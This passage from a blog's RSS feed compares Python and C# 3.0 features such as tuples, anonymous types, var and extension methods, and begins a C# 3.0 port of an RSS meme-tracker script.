&lt;/font&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;link&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;votes&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;all_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;items&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;site&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;{&lt;/font&gt;&lt;font color="#0000c0"&gt;}&lt;/font&gt;
&lt;br /&gt;
&lt;em&gt;&lt;font color="#ff0000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for weight, item,
feedTitle in votes:&lt;br /&gt;
&lt;/font&gt;&lt;/em&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;site&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;feedTitle&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;min&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;site&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;get&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedTitle&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;weight&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;weighted_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;append&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sum&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;site&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;values&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;link&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;weighted_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;sort&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;reverse&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
The key things to note about the above code block are (i) the variable named &lt;strong&gt;vote&lt;/strong&gt; is
a tuple of three values; the numeric weight given to a link received from a particular
RSS item, an RSS item and the title of the feed Python and (ii) the items in the tuple
can be unpacked into individual variables when looping over the contents of the tuple
in a &lt;code&gt;for&lt;/code&gt; loop. 
&lt;/p&gt;
&lt;p&gt;
Here&amp;rsquo;s the closest I could come in C# 3.0 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;C# 3.0 Code&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class="code"&gt;&lt;span style="COLOR: green"&gt;// calculate vote for each outgoing url &lt;/span&gt;&lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;RssItem &lt;/span&gt;item &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;items)
{ &lt;em&gt;&lt;font color="#ff0000"&gt;&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;vote &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote&lt;/span&gt;(){
Weight&lt;span style="COLOR: red"&gt;=&lt;/span&gt;voteFunc(item), Item&lt;span style="COLOR: red"&gt;=&lt;/span&gt;item,
FeedTitle&lt;span style="COLOR: red"&gt;=&lt;/span&gt;feedTitle };&lt;/font&gt;&lt;/em&gt; &lt;span style="COLOR: green"&gt;//add
a vote for each of the URLs &lt;/span&gt;&lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;url &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;item&lt;span style="COLOR: red"&gt;.&lt;/span&gt;OutgoingLinks&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Keys)
{ &lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;value &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;if &lt;/span&gt;(&lt;span style="COLOR: red"&gt;!&lt;/span&gt;all_links&lt;span style="COLOR: red"&gt;.&lt;/span&gt;TryGetValue(url, &lt;span style="COLOR: blue"&gt;out &lt;/span&gt;value))
value &lt;span style="COLOR: red"&gt;= &lt;/span&gt;all_links[url] &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&lt;/span&gt;();
value&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Add(vote); } }&lt;span style="COLOR: green"&gt;//
foreach (RssItem item in items)&lt;/span&gt;&lt;/pre&gt;&lt;pre class="code"&gt;&lt;span style="COLOR: green"&gt;//tally
the votes &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RankedLink&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;weighted_links &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RankedLink&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&lt;/span&gt;(); &lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;link_n_votes &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;all_links)
{ &lt;span style="COLOR: #2b91af"&gt;Dictionary&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;double&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;site &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Dictionary&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;double&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&lt;/span&gt;(); &lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;vote &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;link_n_votes&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value)
{ &lt;span style="COLOR: blue"&gt;double &lt;/span&gt;oldweight; site[vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;FeedTitle] &lt;span style="COLOR: red"&gt;= &lt;/span&gt;site&lt;span style="COLOR: red"&gt;.&lt;/span&gt;TryGetValue(vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;FeedTitle, &lt;span style="COLOR: blue"&gt;out &lt;/span&gt;oldweight) &lt;span style="COLOR: red"&gt;? &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Math&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Min(oldweight,
vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Weight): vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Weight;
} weighted_links&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Add(&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RankedLink&lt;/span&gt;(){Score&lt;span style="COLOR: red"&gt;=&lt;/span&gt;site&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Values&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Sum(),
Url&lt;span style="COLOR: red"&gt;=&lt;/span&gt;link_n_votes&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Key});
} weighted_links&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Sort((x, y) &lt;span style="COLOR: red"&gt;=&amp;gt; &lt;/span&gt;y&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Score&lt;span style="COLOR: red"&gt;.&lt;/span&gt;CompareTo(x&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Score));&lt;/pre&gt;&lt;/blockquote&gt; 
&lt;p&gt;
The relevant line above is 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;code&gt;var vote = new Vote() { Weight=voteFunc(item), Item=item, FeedTitle=feedTitle
};&lt;/code&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
which I had INCORRECTLY assumed I would be able to write as 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;code&gt;var vote = new { Weight=voteFunc(item), Item=item, FeedTitle=feedTitle };&lt;/code&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
In Python, dynamic typing is all about the developer knowing what types they are working
with while the compiler is ignorant about the data types. However type inferencing
in C# supports the opposite scenario, when the compiler knows the data types but the
developer does not. &amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
The specific problem here is that if I place an anonymous type in a list, I have no
way of knowing what the data type of the object I&amp;rsquo;m pulling out of the list
will be. So I will either have to interact with them as instances of System.Object
when popped from the list which makes them pretty useless or access their fields via
reflection. Python doesn&amp;rsquo;t have this problem because I don&amp;rsquo;t need to know
the type of an object to interact with it, I just need to know how what properties/fields
and methods it supports. 
&lt;/p&gt;
&lt;p&gt;
At the end of the day, I realized that the &lt;a href="http://msdn2.microsoft.com/en-us/library/bb383973.aspx"&gt;var
keyword&lt;/a&gt; is really only useful when constructing anonymous types as a result of
LINQ expressions. In every other instance where it is acceptable to use &lt;strong&gt;var&lt;/strong&gt;,
you have to know the type of the object anyway so all you are doing is saving keystrokes
by using it. Hmmmm. 
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Ruby vs. C# 3.0: Extension Methods&lt;/strong&gt;
&lt;/h4&gt;
&lt;p&gt;
&lt;a href="http://weblogs.asp.net/scottgu/archive/2007/03/13/new-orcas-language-feature-extension-methods.aspx"&gt;Extension
methods&lt;/a&gt; is a fairly disconcerting feature that&amp;nbsp;has been made popular by&amp;nbsp;the
Ruby programming language. The description of the feature is excerpted below 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;Extension methods allow developers to add new methods to the public contract of
an existing CLR type, without having to sub-class it or recompile the original type.&amp;nbsp;
Extension Methods help blend the flexibility of "duck typing" support popular within
dynamic languages today with the performance and compile-time validation of strongly-typed
languages.&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
I consider this feature to be the new incarnation of operator overloading. Operator
overloading became widely reviled because it made code harder to read because you
couldn&amp;rsquo;t just look at a code block and know what it does if you didn&amp;rsquo;t
know how the operators had been implemented. Similarly, looking at an excerpt of C#
code you may not realize that everything isn&amp;rsquo;t what it seems. 
&lt;/p&gt;
&lt;p&gt;
I spent several minutes being confused today because I couldn&amp;rsquo;t get the line 
&lt;/p&gt;
&lt;blockquote&gt;&lt;font size="1"&gt; 
&lt;p&gt;
&lt;/font&gt;&lt;font color="#2b91af"&gt;&lt;span style="COLOR: #2b91af"&gt;XAttribute &lt;/span&gt;&lt;font color="#000000"&gt;read_node &lt;/font&gt;&lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;font color="#000000"&gt;itemnode&lt;/font&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;&lt;font color="#000000"&gt;XPathEvaluate(&lt;/font&gt;&lt;span style="COLOR: #a31515"&gt;"//@*[local-name()
= 'read']"&lt;/span&gt;&lt;font color="#000000"&gt;) &lt;/font&gt;&lt;span style="COLOR: blue"&gt;as &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;XAttribute&lt;/span&gt;&lt;font color="#000000"&gt;;&lt;/font&gt;&lt;/font&gt;&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
to compile. It turns out that &lt;a href="http://msdn2.microsoft.com/en-us/library/bb342176.aspx"&gt;XPathEvaluate
is an extension method&lt;/a&gt; and&amp;nbsp;you need to import the System.Xml.XPath namespace
into your project before the XPathEvaluate() method shows up as a method in the XElement
class.
&lt;/p&gt;
&lt;p&gt;
I&amp;rsquo;ve heard the arguments that &lt;a href="http://www.hanselman.com/blog/ProgrammerIntentOrWhatYoureNotGettingAboutRubyAndWhyItsTheTits.aspx"&gt;Ruby
makes it easier to express programmer intent&lt;/a&gt;&amp;nbsp;and although I can see how XElement.XPathEvaluate(string)
is a more readable choice than XPathQueryEngine.Evaluate(XElement, string) if you
want to perform an XPath query on an XElement object, for now I think the readability
issues it causes by hiding dependencies isn&amp;rsquo;t worth it. I wonder if any Ruby
developers out there with a background in other dynamic languages that don&amp;rsquo;t
have that feature (e.g. Python) care to offer a counter opinion based on their experience? 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;FINAL THOUGHTS&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
C# has added features that make it close to being on par with the expressiveness of
functional and dynamic programming languages. The only thing missing is dynamic typing&amp;nbsp;(not &lt;a href="http://en.wikipedia.org/wiki/Duck_typing"&gt;duck
typing&lt;/a&gt;), which I&amp;rsquo;ve come to realize is has a lot more going for it than
lots of folks in the strongly and statically typed world would care to admit. At first,
I had expected that after getting up to speed with C# 3.0, I&amp;rsquo;d lose interest
in Python but that is clearly not the case.
&lt;/p&gt;
&lt;p&gt;
I love the REPL, I love the flexibility that comes from having natural support tuples
in the language and I love the more&amp;nbsp;compact syntax.&amp;nbsp;&amp;nbsp;I guess I&amp;rsquo;ll
be doing a lot more coding in Python in 2008. 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Now Playing&lt;/b&gt;: &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Da Back Wudz"&gt;Da
Back Wudz&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Da Back Wudz&amp;amp;songTerm=U Gonna Love Me"&gt;U
Gonna Love Me&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=524bbdc9-900e-4ff2-b282-22d6971ce074" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,524bbdc9-900e-4ff2-b282-22d6971ce074.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=55d9e9c8-9c2d-493c-8d89-0464fbeb7ea6</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,55d9e9c8-9c2d-493c-8d89-0464fbeb7ea6.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,55d9e9c8-9c2d-493c-8d89-0464fbeb7ea6.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=55d9e9c8-9c2d-493c-8d89-0464fbeb7ea6</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
A few weeks ago, I wrote a prototype for the meme tracking feature of RSS Bandit in
IronPython. The code was included in my blog post <a title="http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx" href="http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx">A
Meme Tracker In IronPython</a>.   The script was a port of <a href="http://intertwingly.net/stories/2006/09/05/mememe.py">Sam
Ruby's original MeMeme script</a> which shows the most recently popular links from
from a set of RSS feeds. 
</p>
        <p>
I was impressed with how succinct the code was in IronPython when compared to what
the code eventually looked like when I ported it to C# 2.0 and integrated it into <a href="http://www.rssbandit.org/">RSS
Bandit</a>. Looking over <a href="http://msdn2.microsoft.com/en-us/library/bb308966.aspx">the
list of new features in C# 3.0</a>, it occurred to me that a C# 3.0 version of the
script would be as concise or even more concise than the IronPython version. So I
ported the script to C# 3.0 and learned a few things along the way. 
</p>
        <p>
I'll post something shortly that goes into some details on my perspectives on the
pros and cons of the various C# 3.0 features when compared to various Python features.
For now, here's the meme tracker script in C# 3.0. Comparing it to <a href="http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx">the
IronPython version</a> should provide some food for thought. 
</p>
        <hr />
        <pre class="code">
          <span style="COLOR: blue">using </span>System; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>Collections; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>Collections<span style="COLOR: red">.</span>Generic; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>Linq; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>Text<span style="COLOR: red">.</span>RegularExpressions; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>IO; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>Xml; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>Xml<span style="COLOR: red">.</span>Linq; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>Xml<span style="COLOR: red">.</span>XPath; <span style="COLOR: blue">using </span>System<span style="COLOR: red">.</span>Globalization; <span style="COLOR: blue">namespace </span>Memetracker
{ <span style="COLOR: blue">enum </span><span style="COLOR: #2b91af">MemeMode </span>{
PopularInUnread, PopularInPastWeek } <span style="COLOR: blue">class </span><span style="COLOR: #2b91af">RankedLink</span>{ <span style="COLOR: blue">public
string </span>Url { <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>;} <span style="COLOR: blue">public
double </span>Score { <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>;
} } <span style="COLOR: blue">class </span><span style="COLOR: #2b91af">Vote </span>{ <span style="COLOR: blue">public
double </span>Weight { <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>;
} <span style="COLOR: blue">public </span><span style="COLOR: #2b91af">RssItem </span>Item
{ <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>; } <span style="COLOR: blue">public
string </span>FeedTitle { <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>;
} } <span style="COLOR: blue">class </span><span style="COLOR: #2b91af">RssItem </span>{ <span style="COLOR: blue">public
string </span>Title { <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>;
} <span style="COLOR: blue">public </span><span style="COLOR: #2b91af">DateTime </span>Date
{ <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>; } <span style="COLOR: blue">public
bool </span>Read { <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>;
} <span style="COLOR: blue">public string </span>Permalink { <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>;
} <span style="COLOR: blue">public </span><span style="COLOR: #2b91af">Dictionary</span><span style="COLOR: red">&lt;</span><span style="COLOR: blue">string</span>, <span style="COLOR: blue">string</span><span style="COLOR: red">&gt; </span>OutgoingLinks
{ <span style="COLOR: blue">get</span>; <span style="COLOR: blue">set</span>; } } <span style="COLOR: blue">class </span><span style="COLOR: #2b91af">Program </span>{ <span style="COLOR: blue">static </span><span style="COLOR: #2b91af">Dictionary</span><span style="COLOR: red">&lt;</span><span style="COLOR: blue">string</span>, <span style="COLOR: #2b91af">List</span><span style="COLOR: red">&lt;</span><span style="COLOR: #2b91af">Vote</span><span style="COLOR: red">&gt;&gt; </span>all_links <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">Dictionary</span><span style="COLOR: red">&lt;</span><span style="COLOR: blue">string</span>, <span style="COLOR: #2b91af">List</span><span style="COLOR: red">&lt;</span><span style="COLOR: #2b91af">Vote</span><span style="COLOR: red">&gt;&gt;</span>(); <span style="COLOR: blue">static </span><span style="COLOR: #2b91af">TimeSpan </span>one_week <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">TimeSpan</span>(<span style="COLOR: purple">7</span>, <span style="COLOR: purple">0</span>, <span style="COLOR: purple">0</span>, <span style="COLOR: purple">0</span>); <span style="COLOR: blue">static </span><span style="COLOR: #2b91af">MemeMode </span>mode <span style="COLOR: red">= </span><span style="COLOR: #2b91af">MemeMode</span><span style="COLOR: red">.</span>PopularInPastWeek; <span style="COLOR: blue">static
string </span>cache_location <span style="COLOR: red">= </span><span style="COLOR: #2b91af">Path</span><span style="COLOR: red">.</span>Combine(<span style="COLOR: #2b91af">Environment</span><span style="COLOR: red">.</span>GetFolderPath(<span style="COLOR: #2b91af">Environment</span><span style="COLOR: red">.</span><span style="COLOR: #2b91af">SpecialFolder</span><span style="COLOR: red">.</span>LocalApplicationData), <span style="COLOR: #a31515">"Temp"</span>); <span style="COLOR: blue">static
string </span>href_regex <span style="COLOR: red">= </span><span style="COLOR: #a31515">@"&lt;a[\s]+[^&gt;]*?href[\s]?=[\s""']+(.*?)[\""']+.*?&gt;([^&lt;]+|.*?)?&lt;\/a&gt;"</span>; <span style="COLOR: blue">static </span><span style="COLOR: #2b91af">Regex </span>regex <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">Regex</span>(href_regex); <span style="COLOR: blue">static </span><span style="COLOR: #2b91af">RssItem </span>MakeRssItem(<span style="COLOR: #2b91af">XElement </span>itemnode)
{ <span style="COLOR: #2b91af">XElement </span>link_node <span style="COLOR: red">= </span>itemnode<span style="COLOR: red">.</span>Element(<span style="COLOR: #a31515">"link"</span>); <span style="COLOR: blue">var </span>permalink <span style="COLOR: red">= </span>(link_node <span style="COLOR: red">== </span><span style="COLOR: blue">null </span><span style="COLOR: red">? </span><span style="COLOR: #a31515">"" </span>:
link_node<span style="COLOR: red">.</span>Value); <span style="COLOR: #2b91af">XElement </span>title_node <span style="COLOR: red">= </span>itemnode<span style="COLOR: red">.</span>Element(<span style="COLOR: #a31515">"title"</span>); <span style="COLOR: blue">var </span>title <span style="COLOR: red">= </span>(title_node <span style="COLOR: red">== </span><span style="COLOR: blue">null </span><span style="COLOR: red">? </span><span style="COLOR: #a31515">"" </span>:
title_node<span style="COLOR: red">.</span>Value); <span style="COLOR: #2b91af">XElement </span>date_node <span style="COLOR: red">= </span>itemnode<span style="COLOR: red">.</span>Element(<span style="COLOR: #a31515">"pubDate"</span>); <span style="COLOR: blue">var </span>date <span style="COLOR: red">= </span>(date_node <span style="COLOR: red">== </span><span style="COLOR: blue">null </span><span style="COLOR: red">? </span><span style="COLOR: #2b91af">DateTime</span><span style="COLOR: red">.</span>Now
: <span style="COLOR: #2b91af">DateTime</span><span style="COLOR: red">.</span>Parse(date_node<span style="COLOR: red">.</span>Value, <span style="COLOR: blue">null</span>, <span style="COLOR: #2b91af">DateTimeStyles</span><span style="COLOR: red">.</span>AdjustToUniversal)); <span style="COLOR: #2b91af">XAttribute </span>read_node <span style="COLOR: red">= </span>itemnode<span style="COLOR: red">.</span>XPathEvaluate(<span style="COLOR: #a31515">"//@*[local-name()
= 'read']"</span>) <span style="COLOR: blue">as </span><span style="COLOR: #2b91af">XAttribute</span>; <span style="COLOR: blue">var </span>read <span style="COLOR: red">= </span>(read_node <span style="COLOR: red">== </span><span style="COLOR: blue">null </span><span style="COLOR: red">? </span><span style="COLOR: blue">false </span>: <span style="COLOR: #2b91af">Boolean</span><span style="COLOR: red">.</span>Parse(read_node<span style="COLOR: red">.</span>Value)); <span style="COLOR: #2b91af">XElement </span>desc_node <span style="COLOR: red">= </span>itemnode<span style="COLOR: red">.</span>Element(<span style="COLOR: #a31515">"description"</span>); <span style="COLOR: green">//
obtain href value and link text pairs </span><span style="COLOR: blue">var </span>outgoing <span style="COLOR: red">= </span>(desc_node <span style="COLOR: red">== </span><span style="COLOR: blue">null </span><span style="COLOR: red">? </span>regex<span style="COLOR: red">.</span>Matches(<span style="COLOR: #2b91af">String</span><span style="COLOR: red">.</span>Empty)
: regex<span style="COLOR: red">.</span>Matches(desc_node<span style="COLOR: red">.</span>Value)); <span style="COLOR: blue">var </span>outgoing_links <span style="COLOR: red">= </span><span style="COLOR: blue">new </span><span style="COLOR: #2b91af">Dictionary</span><span style="COLOR: red">&lt;</span><span style="COLOR: blue">string</span>, <span style="COLOR: blue">string</span><span style="COLOR: red">&gt;</span>(); <span style="COLOR: green">//ensure
we only collect unique href values from entry by replacing list returned by regex
with dictionary </span><span style="COLOR: blue">if </span>(outgoing<span style="COLOR: red">.</span>Count <span style="COLOR: red">&gt; </span><span style="COLOR: purple">0</span>)
{ <span style="COLOR: blue">foreach </span>(<span style="COLOR: #2b91af">Match </span>m <span style="COLOR: blue">in </span>outgoing)
outgoing_links[m<span style="COLOR: red">.</span>Groups[<span style="COLOR: purple">1</span>]<span style="COLOR: red">.</span>Value] <span style="COLOR: red">= </span>m<span style="COLOR: red">.</span>Groups[<span style="COLOR: purple">2</span>]<span style="COLOR: red">.</span>Value;
} <span style="COLOR: blue">return new </span><span style="COLOR: #2b91af">RssItem</span>()
{ Permalink <span style="COLOR: red">= </span>permalink, Title <span style="COLOR: red">= </span>title,
Date <span style="COLOR: red">= </span>date, Read <span style="COLOR: red">= </span>read,
OutgoingLinks <span style="COLOR: red">= </span>outgoing_links }; } <span style="COLOR: blue">static
void </span>Main(<span style="COLOR: blue">string</span>[] args) { <span style="COLOR: blue">if </span>(args<span style="COLOR: red">.</span>Length <span style="COLOR: red">&gt; </span><span style="COLOR: purple">0</span>) <span style="COLOR: green">//get
directory of RSS feeds </span>cache_location <span style="COLOR: red">= </span>args[<span style="COLOR: purple">0</span>]; <span style="COLOR: blue">if </span>(args<span style="COLOR: red">.</span>Length <span style="COLOR: red">&gt; </span><span style="COLOR: purple">1</span>) <span style="COLOR: green">//mode
= 0 means use only unread items, mode != 0 means use all items from past week </span>mode <span style="COLOR: red">= </span>(<span style="COLOR: #2b91af">Int32</span><span style="COLOR: red">.</span>Parse(args[<span style="COLOR: purple">1</span>]) <span style="COLOR: red">!= </span><span style="COLOR: purple">0 </span><span style="COLOR: red">? </span><span style="COLOR: #2b91af">MemeMode</span><span style="COLOR: red">.</span>PopularInPastWeek
: <span style="COLOR: #2b91af">MemeMode</span><span style="COLOR: red">.</span>PopularInUnread); <span style="COLOR: #2b91af">Console</span><span style="COLOR: red">.</span>WriteLine(<span style="COLOR: #a31515">"Processing
